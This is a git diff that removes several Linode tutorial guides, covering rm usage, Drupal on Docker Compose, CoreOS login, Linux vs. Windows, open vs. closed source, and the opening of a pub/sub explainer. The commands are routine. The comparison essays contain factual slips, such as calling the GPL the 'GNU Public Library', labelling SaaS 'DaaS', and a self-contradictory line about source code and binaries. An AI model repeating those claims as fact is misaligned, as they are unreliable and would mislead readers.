-{{< note >}} -To avoid creating examples that might remove important files, this Quick Answer uses variations of `filename.txt`. Adjust each command as needed. -{{< /note >}} - -## The Basics of Using rm to Delete a File - -- Delete a single file using `rm`: - - rm filename.txt - -- Delete multiple files: - - rm filename1.txt filename2.txt - -- Delete all `.txt` files in the directory: - - rm *.txt - -## Options Available for rm - -### `-i` Interactive mode - -Confirm each file before delete: - - rm -i filename.txt - -### `-f` Force - -Remove without prompting: - - rm -f filename.txt - -### `-v` Verbose - -Show report of each file removed: - - rm -v filename*.txt - -### `-d` Directory - -Remove the directory: - - rm -d filenames/ - -**Note:** This option only works if the directory is empty. To remove non-empty directories and the files within them, use the `r` flag. - -### `-r` Recursive - -Remove a directory and any contents within it: - - rm -r filenames/ - -### Combine Options - -Options can be combined. For example, to remove all `.png` files with a prompt before each deletion and a report following each: - - rm -iv *.png - -{{< output >}} -remove filename01.png? y -filename01.png -remove filename02.png? y -filename02.png -remove filename03.png? y -filename03.png -remove filename04.png? y -filename04.png -remove filename05.png? y -filename05.png -{{< /output >}} - -### `-rf` Remove Files and Directories, Even if Not Empty - -Add the `f` flag to a recursive `rm` command to skip all confirmation prompts: - - rm -rf filenames/ - -## Combine rm with Other Commands - -### Remove Old Files Using find and rm - -Combine the [find command](/cloud/guides/find-files-in-linux-using-the-command-line/)'s `-exec` option with `rm` to find and remove all files older than 28 days old. The files that match are printed on the screen (`-print`): - - find filename* -type f -mtime +28 -exec rm '{}' ';' -print - -In this command's syntax, `{}` is replaced by the `find` command with all files that it finds, and `;` tells `find` that the command sequence invoked with the `-exec` option has ended. In particular, `-print` is an option for `find`, not the executed `rm`. `{}` and `;` are both surrounded with single quote marks to protect them from interpretation by the shell. \ No newline at end of file diff --git a/docs/guides/quick-answers/linux/drupal-with-docker-compose/index.md b/docs/guides/quick-answers/linux/drupal-with-docker-compose/index.md deleted file mode 100644 index ded08accd69..00000000000 --- a/docs/guides/quick-answers/linux/drupal-with-docker-compose/index.md +++ /dev/null @@ -1,142 +0,0 @@ ---- -slug: drupal-with-docker-compose -title: Install Drupal with Docker Compose -description: 'This guide provides you with step-by-step instructions for installing and configuring Drupal, a popular content management system, using Docker Compose.' -authors: ["Nathan Melehan"] -contributors: ["Nathan Melehan"] -published: 2018-06-29 -keywords: ["Docker", "Docker Compose", "Drupal"] -tags: ["postresql","docker","drupal","linux"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[Official Drupal Image on Docker Hub](https://hub.docker.com/_/drupal/)' - - '[Overview of Docker Compose | Docker Documentation](https://docs.docker.com/compose/overview/)' -aliases: ['/quick-answers/linux/drupal-with-docker-compose/'] ---- - -## What Are Docker and Docker Compose? - -**Docker** is a system that provides pre-configured, self-contained applications, frameworks, and software stacks, such as WordPress, Golang, or LAMP. Even entire Linux distributions can be run in Docker. When deployed, these software packages are referred to as *containers*. Docker also allows you to create your own containers that include any custom software you'd like. - -**Docker Compose** is a complementary system which helps you link together individual Docker containers so they can work together. This guide walks through the deployment of a Drupal container and another PostgreSQL container that Drupal will use to store its data. Docker Compose will facilitate the networking between them. - -Containers for Drupal and PostgreSQL are available from [Docker Hub](https://hub.docker.com/) in the form of *images*. A Docker image is a static snapshot of a container which is used to create new container instances. Docker Hub is an official repository where individuals and organizations can upload Docker images for public consumption. - -## Why Use Docker to Run Drupal? - -Using the Drupal and PostgreSQL images from Docker Hub offers the following benefits: - -- The configuration of the software has been done for you, which means that you don't need to follow a step-by-step process for each application to get them running on your system. -- Updating your software is as simple as downloading the latest images from Docker Hub. -- Images and containers are self-contained, which means that they are easy to clean up if you decide to remove them. - -## Installation - -### Install Docker - -{{% content "installing-docker-shortguide" %}} - -### Install Docker Compose - -{{% content "install-docker-compose" %}} - -## Set Up Drupal - -1. Create a new directory in your home folder called `my_drupal` and `cd` into it: - - mkdir ~/my_drupal/ - cd ~/my_drupal/ - -2. Create a file named `docker-compose.yml` in this folder and add the following contents. Set your own password for the `POSTGRES_PASSWORD` option. - - {{< file "docker-compose.yml" yaml >}} -version: '3.3' - -services: - drupal: - image: drupal:latest - ports: - - 80:80 - volumes: - - drupal_modules:/var/www/html/modules - - drupal_profiles:/var/www/html/profiles - - drupal_themes:/var/www/html/themes - - drupal_sites:/var/www/html/sites - restart: always - - postgres: - image: postgres:10 - environment: - POSTGRES_PASSWORD: your_postgres_password - volumes: - - db_data:/var/lib/postgresql/data - restart: always - -volumes: - drupal_modules: - drupal_profiles: - drupal_themes: - drupal_sites: - db_data: -{{< /file >}} - -3. From the `my_drupal` directory, start your Docker containers: - - docker-compose up -d - -4. The Docker containers will take a minute or two to start up Drupal and PostgreSQL. Afterwards, you can visit your Linode's IP address in your web browser and you should be directed to the Drupal setup form. - - ![Drupal setup screen in the web browser - 'Choose language' page](drupal_setup_choose_language.png "Drupal setup screen in the web browser - 'Choose language' page") - -5. On the *Set up database* page, select `PostgreSQL` as the *Database type* and enter the following values: - - - Database name: `postgres` - - - Database username: `postgres` - - - Database password: *The password you set in the docker-compose.yml file* - - - Host (under Advanced Options): `postgres` - - ![Drupal setup screen in the web browser - 'Set up database' page](drupal_setup_set_up_database.png "Drupal setup screen in the web browser - 'Set up database' page") - -6. Complete the other screens in the setup guide. When creating your Drupal user, be sure to enter a password that is different from your PostgreSQL password. - -## Usage and Maintenance - -You do not need to manually start your containers if you reboot your Linode, because the option `restart: always` was assigned to your services in your `docker-compose.yml` file. This option tells Docker Compose to automatically start your services when the server boots. - -To stop your Drupal application: - - cd ~/my_drupal/ - docker-compose stop - -This will stop the running Drupal and PostgreSQL containers, but will not remove them. - -To restart your Drupal application: - - cd ~/my_drupal/ - docker-compose start - - -To stop and remove containers, networks and images created by the `docker-compose.yml` file: - - cd ~/my_drupal/ - docker-compose down - -When a Docker container is taken down, it is also deleted; this is how Docker is designed to work. However, your Drupal files and data will be preserved, as the `docker-compose.yml` file was configured to create persistent volumes for that data. - -If you want to remove this data and start over with your Drupal site, you can add the `--volumes` flag to the previous command. **This will permanently delete the Drupal customizations you've made so far.** - - docker-compose down --volumes - -### Update Drupal - -The `docker-compose.yml` specifies the `latest` version of the Drupal image, so it's easy to update your Drupal version: - - docker-compose down - docker-compose pull && docker-compose up -d - -## Next Steps - -More extensive documentation on Docker is available in the [Containers](/cloud/guides/applications/containers/) section of the Linode Guides & Tutorials site. diff --git a/docs/guides/quick-answers/linux/linux-vs-windows/index.md b/docs/guides/quick-answers/linux/linux-vs-windows/index.md deleted file mode 100644 index 846428519fe..00000000000 --- a/docs/guides/quick-answers/linux/linux-vs-windows/index.md +++ /dev/null @@ -1,120 +0,0 @@ ---- -slug: linux-vs-windows -title: "Linux vs. Windows: What’s the Difference?" -title_meta: "What is the Difference Between Linux and Windows?" -description: 'This guide discusses Linux vs. Windows, the difference between Linux and Windows operating systems, and which is best for your needs.' -authors: ["Tom Henderson"] -contributors: ["Tom Henderson"] -published: 2022-04-01 -keywords: ['windows vs linux ','linux or windows','is linux better than windows'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -Users, system administrators, developers, and system architects debate the question of whether Windows or Linux is better for any given purpose. The answers are well-reasoned, full of prejudice, and usually arrive from practical experience. This guide covers the differences between Linux and Windows operating systems and servers. It primarily focuses on the areas of differences between desktops, licensing models, web service technology, developer support, and more. - -## A History of Windows and Linux - -The difference between Linux and Windows begins with their history and evolution. At one time, Windows was the dominant desktop operating system, in an era where the desktop was the context to most computing. The advent of Local area networks (LANs), the Internet, and the World Wide Web influenced the evolution of Windows. - -Rather than being an MS-DOS application, Microsoft Windows 95/98/ME eventually became an operating system when [Windows NT](https://en.wikipedia.org/wiki/Windows_NT) arrived. Windows was molded from a desktop operating system into a server operating system, which led to a high degree of common codebase for desktop and server versions. - -Linus Torvalds, in contrast, developed Linux as an experiment based on [Minix](https://en.wikipedia.org/wiki/Minix). Minix was a variant of the server operating system, Unix. - -Torvalds paired his operating system kernel together with free and open source software (FOSS) provided by the volunteers behind the [GNU software utilities](https://en.wikipedia.org/wiki/GNU_Core_Utilities). Each distribution of Linux was differentiated by their software contents. Linux later added more user-focused applications, graphical user interfaces, and a branch of Linux, named Android. Android now dominates the smartphone world. - -Windows moved away from the DOS command line use of MS-DOS, and Linux slowly added a graphical user interface (GUI), usually as an option presented in various distributions. Windows gained considerable ground for desktop users as the Windows GUI and the number of applications built for it grew and gained acceptance. Windows Desktop versions still statistically dominate world desktop computing. - -## Windows vs. Linux: Desktops - -Today, Microsoft Windows dominates business desktop and laptop computing, with Apple close behind, and Linux lagging in third place. Microsoft has widespread corporate/business use market share based on historical dominance coupled with varied business systems administration software and office applications. These applications and their administration are turning towards cloud infrastructure, largely dependent on Microsoft’s own Azure cloud. - -Linux desktops permit cloud use, and are focused on client-side computing resources. Popular applications that look and feel like Office, do not need hosting or licensing costs, and retain large compatibility with dominant Microsoft offerings. - -Business use of Linux on the desktop can authenticate to Microsoft directory structure resources (Active Directory authentication via Samba). Linux lacks variety in specific areas of application support, but only rarely is there no FOSS-equivalent to a popular genre of Microsoft desktop application. - -Microsoft also ties security to a Trusted Platform Module (TPM) hardware module and the Prism chipset that serves as a core moderator of cryptography and elements of security authentication. Numerous encryption and authorization features must have the TPM hardware available in desktop and notebook resources. - -Linux desktops use alternative encryption methods for files, and a variety of security authentication schemes. Frequently, they use multi-factor authentication devices, like the OAUTH and FIDO2 devices, such as Yubikeys from Yubico. - -### Licensing Differences Between Linux and Windows - -When it comes to licensing and comparing Linux vs Windows, Linux wins for simplicity and zero cost, although support is additional. Licensing in Linux is vastly simpler– it’s free, subject to the terms of the [GNU General Public License (GPL)](https://www.gnu.org/licenses/gpl-3.0.en.html). By contrast, Windows licensing can be complex. Each version also has gradients of feature locks and a purchase gradient tied to its Edition. Edition variants include Starter, Home, Pro, Enterprise, and Educational in both generic and OEM-specific licensing schemes. The cost of each license is buried into the cost of an OEM license through purchase or lease of a desktop, notebook, or device. - -For decades, most desktops arrived with a Windows license, but only recently has Linux been an available option on desktop and notebook hardware. It’s now offered by the top-tier desktop manufacturers, and is supported and issued with Linux and apps onboard. - -Microsoft Windows does not publish the source to the operating system kernel, or most of its utilities, and accompanying apps. Modifying them must be done at the machine code level, or they must be attached via Microsoft’s published application programming interfaces (APIs). Where feasible, API compatibility is offered for communications tasks like web browsing, reading email, transferring files, and Internet tasks. - -## Evolving GUIs: Linux vs. Microsoft - -Most GUIs find their origin in the [Smalltalk programming language](https://en.wikipedia.org/wiki/Smalltalk), along with Windows GUI, macOS, and X Windows roots. In the race between Windows and Linux, Windows continues to improve its GUI software, and developers are familiar with Windows GUI programming. Microsoft makes up for scripting and macro execution by adapting its PowerShell language and APIs to match the rich scripting infrastructure in Unix variants, in this case, Linux. - -Linux functions on 32-64 bit platforms and is less captive to different hardware platforms, providing consistency in GUI and compatibility across a wide variety of desktop hardware, including Intel, AMD, ARM, RISC-V, and other families. Older Linux versions lack many of the applications that made Windows popular. This is a problem now largely solved. Graphics, video editing, CAD, and other applications can be found on Linux using various GUIs. - -Today, it’s unusual to find a desktop or server platform that can’t run either Windows or a Linux distribution, interchangeably, although Microsoft deprecates system compatibility far more frequently than Linux distributions. - -Linux does not have a hardware compatibility mandate for drivers, and until recently, few hardware manufacturers felt the need to develop hardware drivers for a small population of Linux desktop users. Random hardware incompatibility issues dogged Linux on the desktop until the late 2010s. Peripherals vendors initially wrote drivers for their hardware for Windows and perhaps macOS, with Linux as an afterthought, but this trend no longer continues. - -Linux is a kernel and set of apps in a distribution, and there is no central command or business initiative that drives hardware compatibility. Instead, several Linux distribution makers and vendors, use Red Hat or Debian kernel stream versions of Linux to build desktop compatibility, and spearhead driver development for the desktop market. These include Fedora, Alma, and SUSE. Distributions built atop Debian, include Ubuntu, Linux Mint, and several others. - -Although Linux users have been waiting for the “Year of the Linux Desktop”, Microsoft continues to dominate with Windows, despite the licensing costs, foibles, and emblematic failures. - -## Web Server Technologies: Windows vs. Linux - -Linux dominates Windows when it comes to web services, thanks to the success of the [Apache web server](/cloud/guides/how-to-install-apache-web-server-ubuntu-18-04/), the [Docker container runtime](/cloud/guides/installing-and-using-docker-on-ubuntu-and-debian/), the [Kubernetes container orchestration system](/cloud/guides/beginners-guide-to-kubernetes/), and [WordPress publishing platform](/cloud/guides/how-to-install-wordpress-ubuntu-2004/). - -Web hosting and other internet services are changing. Microsoft server editions, which can be expensive, host both non-Microsoft web server products as well as its own products. Microsoft attempts to make its offerings including client-side browsers, browser support, web services programming, and hosting models, highly proprietary. - -Linux dominates web services partially because of the [LAMP stack (Linux, Apache, MySQL, and Perl/PHP)](/cloud/guides/how-to-install-a-lamp-stack-on-ubuntu-20-04/). Today, the LAMP stack and variants are a systematic, highly-deployed, go-to development stack. Many of the word's web applications use variants of the LAMP stack to server their content to the Internet. - -Both Apache and [NGINX web servers] dominate the world-wide web, far eclipsing Microsoft’s Internet Information Server/IIS. Both Apache and NGINX FOSS web servers run freely on Windows Server platform, and do so at a highly-scalable and license-cost-free model. - -When compared to Linux's web services, Microsoft’s does not effectively compete. Depending on the licensing situation with Microsoft, web services hosting is often done on FOSS platforms, principally but not exclusively, on Linux for its nominal cost. Although code is free, support is contracted or self-sourced. Microsoft attempts to compete with this trend with its own cloud hosting platform capable of using its [Active Directory services](https://en.wikipedia.org/wiki/Active_Directory). - -When considering Linux vs Windows in the domain of web services and development, Linux wins. Linux statistically has a dominant number of hosted web installations utilizing Apache or NGINX web servers. - -## Developers: Linux vs. Windows - -There is an aphorism that Windows is a developer’s day job, and at night, moonlighting combines Linux and FOSS development. Microsoft now supports Linux development environments with Virtual Machines and desktop guest services. - -Microsoft developer services target platforms for developers including desktops, servers, mainframes, IoT, smartphones, and tablets. Although ports to certain ARM configurations exist, Microsoft Windows primarily ports to numerous IoT platforms and families, as well as OEM service platforms. These are statistically a small amount and often captive to AMD and Intel CPU families and chipsets. - -By contrast, Linux supports kernel ports to IBM Mainframes, RISC-V, updates over long lifecycles to older Intel/AMD platforms. It also ports to SCADA platforms, and industrial configurations. - -Microsoft’s developer network is huge. It supports many aging developer frameworks, subject to current hardware compatibility with the Windows current OS version. The number of APIs in support has meant that Microsoft inadvertently breaks code during updates, patches, and fixes that cannot be tested across the numerous platforms that it supports. - -Microsoft’s internationalization of language support is strong, but because Linux has worldwide development support, porting to target language families through character set support has been part of the Linux experience longer than it has been for Microsoft. - -The most popular Linux distributions have strong documentation to support developers and provide internationalization and multilingual support. Leading Linux distributions, use unique patch, fix, and update software models, which are largely interoperable between distributions.These distributions include Red Hat, SUSE, and Ubuntu. Microsoft provides limited Ubuntu support. Ubuntu can live inside a Windows sandbox, and is progressively interactive with Windows resources. - -Linux vs Windows programming language comparison finds Linux leading across multiple languages and language frameworks. Programming language support in Microsoft’s Visual Studio traditionally supported only Windows hosts as targets until recently. Visual Studio is now ported to Linux, and native Linux language support is gaining wide acceptance. Because of its lightweight OS payload, Linux is also a strong choice fro virtualized hosting and cloud development. Many language and development frameworks are offered on Linux environments, because so much web application development takes place on Linux, rather than Windows. - -In the cloud, there are two camps. The first camp uses Microsoft and Azure where Windows and Linux support is strong. The second camp uses Linux-based hosting. Microsoft Windows hosting is rarer primarily because of the Windows OS payload size, and its cost. - -## Windows and Linux Process Sandboxing - -Keeping processes from interfering with each other, or breaking security models is important. In early days, application sandboxing chiefly took place on [Solaris](https://en.wikipedia.org/wiki/Oracle_Solaris), before the concepts were ported to Linux. Linux now leads Windows in process sandboxing methods. - -Virtual Machines (VMs), which are multiple concurrent instantiations of an OS within a single server, evolved to help partition Windows applications. This was costly, and a branch of server computing emerged where server farms containing virtual machine instances became popular for efficiency, but costly for licensing. - -Windows servers were once tied one-to-a-physical server, but OS virtualization enabled numerous discrete licenses to be hosted within a single server hardware host platform. VMware and others found methods to optimize server licenses and applications instances to squeeze the maximum amount of work from hardware platforms to suit changing needs. Microsoft developed its own virtualization methods. - -Application security and resource controls, or application containers advanced very quickly under first Solaris, then BSD and Linux. Containers, or the sandboxing of application services platforms, is popular for its ability to package and rapidly scale workflows, especially using web-based technologies. The success is mostly due to Docker, a packaging and communications resource allocation methodology. Microsoft ported the concept to Windows server, where it didn't take hold. - -Highly extensible farms of Docker-packaged applications are managed by orchestration, and the Google model of Kubernetes is extremely popular as an orchestration platform for services packaging, deployment, and life-cycle management. When considering Linux vs Windows, Linux wins the battle of rapid, low-cost extensibility. Containers on Linux are not as expensive as discrete instances of virtualized Windows licenses, and their larger, expensive payloads. - -## Similarities Between Windows and Linux - -Both platforms have powerful command line utilities to control desktops, servers, networking, storage, and file systems. These utilities can be executed individually, or through batch or shell-scripting languages. - -Microsoft does little to support external operating system connectivity except through browsers, and only offers the barest Unix or Mac support. Linux is the reverse of this policy. Linux can connect to Windows proprietary extensions of directory services, its Active Directory, through FOSS support from the [Samba project](https://en.wikipedia.org/wiki/Samba_(software)). As both Linux and macOS are branches of the Unix tree, Linux support for macOS and vice-versa is strong. Microsoft and Linux connectivity today are comparatively equal although Microsoft’s halting support of other platforms caused a loss in the battle between Linux vs Windows. - -Microsoft has finally enabled both Linux and macOS to use its proprietary filesystem, NTFS. Both Linux and macOS use a variety of host and target-based filesystems. macOS is free, but its features are largely dedicated to Apple-specific hardware. Linux distributions take pride in working across a wide variety of platforms, without the proprietary chipset support required by Microsoft Windows. - -## Linux vs Windows: Which One is Better? - -Microsoft's closed-source model means that its source code cannot be scrutinized or modified by outside developers. While Linux's open source model means that developers can review and improve a distributions source code. Linux possesses a significant advantage over Windows because of its open source code. Microsoft is growing in its support of open models, but it’s still largely based on proprietary licensing, closed source, and closed model licensing. - -Linux's use cases and connectivity options are publicly published. So are its applications, with few exceptions. Linux distributions remain free of cost, and like Windows code, is patched/updated/fixed on an ongoing basis. Some are patched on a rolling basis, rather than every thirty days, similarly to Microsoft's policy. There are, of course, paid Linux support options too. Many Windows users fear the monthly [*Patch Tuesday*](https://en.wikipedia.org/wiki/Patch_Tuesday) for its unknown consequences when updates are applied. - -Many eyes on code increases code quality, the rapidness of bug fixes, security patches, and the ability to mate applications together safely. This is an aspect of Linux operating systems. However, like most things related to computing and web services, the best option between Windows and Linux largely depends on your particular use case and the type of IT resources that you have available. - diff --git a/docs/guides/quick-answers/linux/log-in-to-coreos-container-linux/index.md b/docs/guides/quick-answers/linux/log-in-to-coreos-container-linux/index.md deleted file mode 100644 index f36bdbbf1a1..00000000000 --- a/docs/guides/quick-answers/linux/log-in-to-coreos-container-linux/index.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -slug: log-in-to-coreos-container-linux -title: Log in to CoreOS Container Linux -description: 'This quick answer guide will show you how to log in to CoreOS Container Linux.' -authors: ["Linode"] -contributors: ["Linode"] -published: 2017-05-08 -keywords: ["coreos", "container linux", "login", "core"] -tags: ["container","linux"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -aliases: ['/quick-answers/linux/log-in-to-coreos-container-linux/','/quick-answers/log-in-to-coreos-container-linux/'] ---- - -The `root` user is not active by default in Container Linux, so root login is not available. Instead, log in as the `core` user. - -## Log in to CoreOS Over SSH - -![Log in as core user SSH](container-linux-login-ssh.png) - -1. From your local terminal, enter: - - ssh core@ - -2. At the `password:` prompt, enter the `core` user's password you assigned when first having deployed Container Linux. - -## Log in to CoreOS Through the Console (Lish or Glish) - -![Log in as core user Lish](container-linux-login-lish.png) - -1. At the `login:` prompt, enter `core`. - -2. At the `password:` prompt, enter the `core` user's password you assigned when first having deployed Container Linux. - -{{< note >}} -If you are not already familiar with the serial and graphical Linode shells, see the [Using the Lish Console](https://techdocs.akamai.com/cloud-computing/docs/access-your-system-console-using-lish) and [Access Your Linux Desktop Using Glish](https://techdocs.akamai.com/cloud-computing/docs/access-your-desktop-environment-using-glish) guides. -{{< /note >}} diff --git a/docs/guides/quick-answers/linux/open-source-vs-closed-source/index.md b/docs/guides/quick-answers/linux/open-source-vs-closed-source/index.md deleted file mode 100644 index 0f07228801f..00000000000 --- a/docs/guides/quick-answers/linux/open-source-vs-closed-source/index.md +++ /dev/null @@ -1,95 +0,0 @@ ---- -slug: open-source-vs-closed-source -title: "Open Source vs. Closed Source: What’s the Difference?" -title_meta: "What is the Difference Between Open Source and Closed Source?" -description: 'Comparing open source vs. closed sourced software? Discover the definition for each and the differences that define the two terms.' -authors: ["Steven J. Vaughan-Nichols"] -contributors: ["Steven J. Vaughan-Nichols"] -published: 2022-01-21 -keywords: ['open source versus closed source','open source vs. closed source','difference between open source and closed source '] -tags: ['linux'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -## What is Open Source? - -In the beginning, back when Remington Rand’s Univac 1, the DEC PDP-1, and IBM System 360 ruled the computing world, all software was *open-source* software. This means that anyone could take the source code and modify and improve it to meet their own needs. Early software was created by government agencies and schools. In the interest of getting programs up and running they’d share their source code either with programmer to programmer swaps or via user groups such as IBM Share and DEC DECUS. - -As time passed, several events came together, which led to the rise of proprietary software. First, as computers became more standardized, original equipment manufacturers (OEMs) began bundling software with their hardware. Typically the price of the software was included with the computers. Then, 1969’s United States vs. IBM antitrust suit ruled that it was anticompetitive for IBM to give away its software. This was followed by the 1974 US Commission on New Technological Uses of Copyrighted Works (CONTU) which decided that computer programs could be copyrighted. Combine this with the growing cost of developing software, and conditions were ripe for a new kind of business: Selling closed-source, proprietary software. - -During the 1950s through the early 70s, source code was always included with an operating system or program, and users were only given binaries. Since then, if you ask most people what a program is they describe something that requires a mouse click, a touch, or at most, entering a single word command to run. - -That’s fine for users. For programmers, it was another story. Instead of sharing the load of developing software, they had to reinvent the wheel over and over again as each company pursued its own way of solving common development problems. - -One developer who was especially annoyed at closed-source software was MIT’s Richard M. Stallman. He created a new legal approach, the GNU Public Library (GPL) for what he called “Free Software.” This framework would prove the launch-pad for open-source software. - -Over the last 30-years, open-source software made a comeback. First, the rise of the commercial Internet and web made it easier for developers to work together. Then, open-source programs such as the Linux operating system and the [Apache HTTP Server](/cloud/guides/web-servers/apache-tips-and-tricks/) showed that this kind of software could be far cheaper, better, and more secure than their closed-source rivals. - -Since then, many popular end-user programs such as Firefox, LibreOffice, and Thunderbird often replace, or rival, closed-source programs such as Internet Explorer, Microsoft Office, and Outlook. - -While open-source software is successful for desktop users, where it really shines is in server and service software. Today, even on the Microsoft Azure cloud, Linux, not Windows Server, is the most popular operating system. Almost all cloud computing services operating systems, Infrastructure-as-a-Service (IaaS), Software-as-a-Service (DaaS), and databases, are based on open-source software. Without open-source software, there would be no cloud computing. - -### Open Source Pros and Cons - -Why is open-source so successful? It starts with developers wanting to improve the programs they use. As Eric S. Raymond puts it in his seminal open-source work, The Cathedral and the Bazaar, "Every good work of software starts by scratching a developer's personal itch." - -It’s more than personal though. By improving any program, everyone who uses it gets a better version. Open-source developers and companies instead of competing with each other, cooperate with each other. The idea is that a rising sea makes all ships rise. They still compete with each other, but if everyone’s software is fundamentally better, everyone benefits. Except, of course, for those building closed-source software. - -Besides improving quality, this cooperation also drops the cost of developing software. If you and twenty other people from five different companies are all working on the same problem, every business cuts their programming costs. - -Generally speaking, open-source software is more secure than its closed-source rivals. That’s because, as Raymond puts it in what he called Linus’s Law, "given enough eyeballs, all bugs are shallow." - -Open-source software also has the advantage that it never runs out of support. A company can go out of business, but the code is still available, and if there’s enough interest in the program someone else picks it up and keeps it going. If you have skilled programmers on staff, you can do it yourself. - -Last, open-source software is cheap. If you don’t need support, it’s often free. - -There are very few problems with the open-source approach. In the case of some less well-known programs, you may have trouble finding end-user support. - -In some cases, you may find it hard to find and fix problems with open-source programs. That’s because many developers do a poor job of reporting on exactly what open-source code they use in their programs. To combat this problem, open-source groups support Software Bills of Material (SBOM). An SBOM spells out exactly what software libraries, routines, and other code has been used in any program. Armed with this, you can examine what component versions are used in your program. Of course, with closed-source programs, you never know what went wrong. - -## What is Closed Source? - -Closed-source software is the exact opposite of open-source software. Instead of having access to the source code, all you get is the black box of the binary code. - -Some of the most well-known programs written in closed source include Microsoft Office, games such as Fortnite, Call of Duty, and Grand Theft Auto, and essentially all Apple software. - -Despite the benefits of open-source approaches, the vast majority of personal and end-user software is written with proprietary code. It’s an entirely different story when it comes to server-level and service programs. There, open-source software rules. - -### Closed Source Pros and Cons - -For its makers, closed-source software is more easily profitable. They sell, or increasingly rent you a subscription, you use the program, and they get paid. - -When you get a closed-source program, you get a single vendor to turn to for all your support needs. - -Generally speaking, closed-source programs have better interfaces. Because, unlike open-source software, they expect you to pay in advance for their program. For this reason, the software should look as good as possible and have well-thought out user experiences. - -On the other hand, closed-source is more insecure than its open-source brethren. For example, every month Microsoft must release new security fixes, Patch Tuesday, for all its programs' most recently discovered flaws. - -Closed-source software is also more expensive than open-source software. There are almost no free closed-source programs. - -Once you’re using a closed-source program, you have few, if any, options to modify it for your specific needs. What you see is what you get. - -## The Difference between Open Source and Closed-Source Software - -These are two fundamentally different approaches to creating software. Here are the important differences: - -1. You can modify open-source programs. You can’t change closed-source ones. -1. Open-source software tends to be free or inexpensive. Closed-source software is more expensive. If you must pay for open-source software support, it may be less expensive. -1. There are no user or CPU licensing restrictions on open-source software. Closed-source programs always have user and/or CPU licensing fees and restrictions. -1. Generally speaking, open-source software is more secure than closed-source programs. But, security is not a product, it’s a process. Both kinds of programs are vulnerable to attackers. -1. Open-source programs are constantly evolving and improving. Closed-source ones tend to change at a slower pace. If you’d rather stick with the tried and true, many major open-source programs have long-term support (LTS) versions, so you don’t need to be constantly updating them. -1. Closed-source programs may go out of date so you have no choice but to upgrade to another version. For example, Windows 7 users had to migrate to Windows 10. Open-source programs may go out of date, but you can continue to run older versions. -1. Unless you buy a support contract for an open-source program, you’re on your own. There is, however, free community support for most programs. With closed-source programs, some support is usually bundled into the price. -1. With open-source programs it can be hard to determine who’s responsible for patching your software. With closed-source software, you almost always have a single vendor to talk to if you run into a problem. - -## Conclusion: Open-source Software for the Win - -There are some occasions when closed-source software is better. For example, if you use Adobe Photoshop extensively in your business, for better or worse, you’re going to be using this closed-source program. While there is a good open-source graphical editor, GIMP, it doesn't have Photoshop’s vast software ecosystem. - -When you’re using the cloud, open-source software runs the world. There are some proprietary programs that run off the cloud, such as Microsoft 365. Except for these end-user programs, everything else worth considering is based on open source. - -Linode knows this well. Linode’s Open Cloud is 100% based on open-source programs and protocols. For example, the Linode application programming interface (API) is completely open and free. You can build your apps and infrastructure on top of it with confidence and without sacrificing your freedom. - -While all cloud providers rely on open-source software, Linodes support all open-source distros. The company doesn't offer closed-source forks. - -Linode doesn't just make use of open source. They’re open-source developers as well. Linode’s Manager, CLI, and product and API documentation are all on [Github](https://github.com/linode/) and open source. diff --git a/docs/guides/quick-answers/linux/what-is-pub-sub/index.md b/docs/guides/quick-answers/linux/what-is-pub-sub/index.md deleted file mode 100644 index cb256aea7e4..00000000000 --- a/docs/guides/quick-answers/linux/what-is-pub-sub/index.md +++ /dev/null @@ -1,145 +0,0 @@ ---- -slug: what-is-pub-sub -title: "What Is Publisher Subscriber Model?" -description: "Explore the Publisher/Subscriber (Pub/Sub) model in-depth, from its fundamental concepts to dynamic scaling, practical implementation using PyPubSub, and understanding its place in modern communication architectures." -authors: ["John Mueller"] -contributors: ["John Mueller"] -published: 2023-08-08 -modified: 2024-05-14 -keywords: ['Publisher/Subscriber model', 'Messaging patterns', 'Message queuing vs. Pub/Sub', 'Pub/Sub benefits and limitations'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[PyPubSub](https://pypubsub.readthedocs.io/en/v4.0.3/)' -- '[Pub/sub Basic Setup](https://pypubsub.readthedocs.io/en/v4.0.3/installation.html)' -- '[Message Queuing](https://www.baeldung.com/pub-sub-vs-message-queues)' -- '[IoT Edge Connect API](https://techdocs.akamai.com/iot-edge-connect/reference/api)' -- '[Firebase Realtime Database](https://firebase.google.com/docs/database)' -- '[Google Pub/Sub](https://cloud.google.com/pubsub)' ---- - -## Introduction - -The concept of the publisher/subscriber (pub/sub) model is not new. It represents the best way for a producer, or publisher, of an information source, to communicate with an information consumer, the subscriber. This mirrors the functioning of newspapers and magazines. A publisher produces a message that contains a topic, for example, headings in newspapers, and associated content, like the associated newspaper text. Clients subscribe to the messages based on the topics or the content, or sometimes both. Unlike a newspaper, the client gets only the content that it wants. Similar to how newspapers are unaware of their readers, the publisher in the pub/sub model has no idea of which clients are getting what content. There is no direct coupling involved, which is why this particular pattern is so useful in microservice applications. In addition, communication (as with a newspaper) is asynchronous, which tends toward a more scalable solution than synchronous communication. This model is used extensively on the Internet using newer programming languages and making it possible to do much more with pub/sub than before. Using cloud-based techniques, publishers can communicate with unknown subscribers at any time and any place. - -## Why Is Pub/Sub Important and to Whom? - -Pub/sub is about communication, so anytime you need to create an environment where one entity outputs data to be picked up by several entities at a later time, you have a pub/sub environment. Pub/sub sees business uses in all sorts of data communication needs, streaming analytics, and task queues. In task environments, two or more worker services can access the queue to select the next task in line and perform these tasks in parallel, leading to high efficiencies and significant scalability. The publisher operates in an environment where the task is essentially forgotten once it is sent to the queue. - -It’s important to think outside the box with pub/sub. For example, an application can act as a publisher of events, even when it has multiple users. The interaction with an app generates events that are handled by subscriber services on the back end. The results are sent back to the user as they’re completed. Users can also act as subscribers by requesting updates on tasks, events, or other forms of data generation by a third party. In fact, it can go further than a simple one-to-one setup with IoT devices, or sensors, sending data to a third party using pub/sub, who accumulates the information, generates events based on it, and then sends the result to a user. - -## How Is Pub/Sub Different From Other Messaging Services? - -Modern pub/sub configurations differ from earlier [message queuing](https://www.baeldung.com/pub-sub-vs-message-queues) and event broker technologies in several ways to accommodate new realities imposed by the internet and significantly larger systems where the participants may not even know each other. A pub/sub setup may place messages in a message broker or on an event bus to distribute and optionally prioritize the messages, but 